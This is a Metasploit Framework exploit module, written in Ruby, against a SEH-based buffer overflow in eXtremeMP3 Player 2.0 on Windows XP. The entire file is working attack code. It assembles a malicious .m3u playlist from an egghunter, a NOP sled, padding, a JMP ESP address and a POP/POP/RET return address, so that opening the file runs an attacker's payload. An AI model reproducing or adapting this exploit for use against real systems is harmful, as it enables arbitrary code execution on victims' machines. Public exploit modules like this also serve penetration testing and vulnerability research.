##
# $Id: $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# Security Team: Intranium Sdn Bhd, Malaysia
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh
include Msf::Exploit::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'eXtremeMP3 Player 2.0 (m3u file) buffer overflow (SEH)',
'Description' => %q{
This module exploits a seh-based buffer overflow in eXtremeMP3 Player 2.0.
},
'License' => MSF_LICENSE,
'Author' =>
[
'C4SS!0 G0M3S', # original exploit
'Muhamad Fadzil Ramli - mind1355[at]gmail[dot]com', # metasploit module
],
'Version' => '$Revision: $',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/15994/' ],
],
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00\x0a\x0d\x30",
'StackAdjustment'=> -1500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 & SP2 (EN)', { 'Ret' => 0x00401A2D } ], # POP ECX/POP EAX/RET [xtremeplaylist.exe]
# Tested on Win XP SP3 Version 5.1.2600 [OK]
# Tested on WIn XP SP2 [OK]
],
'Privileged' => false,
'DisclosureDate' => 'Jan 15 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'crash.m3u']),
], self.class)
end
def exploit
badchars = ''
eggoptions = { :startreg => 'eax', :checksum => true, :eggtag => 'w00t' }
hunter, egg = generate_egghunter(payload.encoded, badchars, eggoptions)
fsploit = ''
fsploit << make_nops(1024)
fsploit << egg
fsploit << rand_text_alpha_upper(3244 - fsploit.length) # PADDING
fsploit << [0x76B2D577].pack('V') # JMP ESP [atl.dll]
fsploit << hunter
fsploit << rand_text_alpha_upper(4112 - fsploit.length) # PADDING
fsploit << [0xc3616161].pack('V') # POPAD/POPAD/POPAD/RET
fsploit << [target.ret].pack('V') # POP ECX/POP EAX/RET [xtremeplaylist.exe]
fsploit << rand_text_alpha_upper(8)
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(fsploit)
end
end
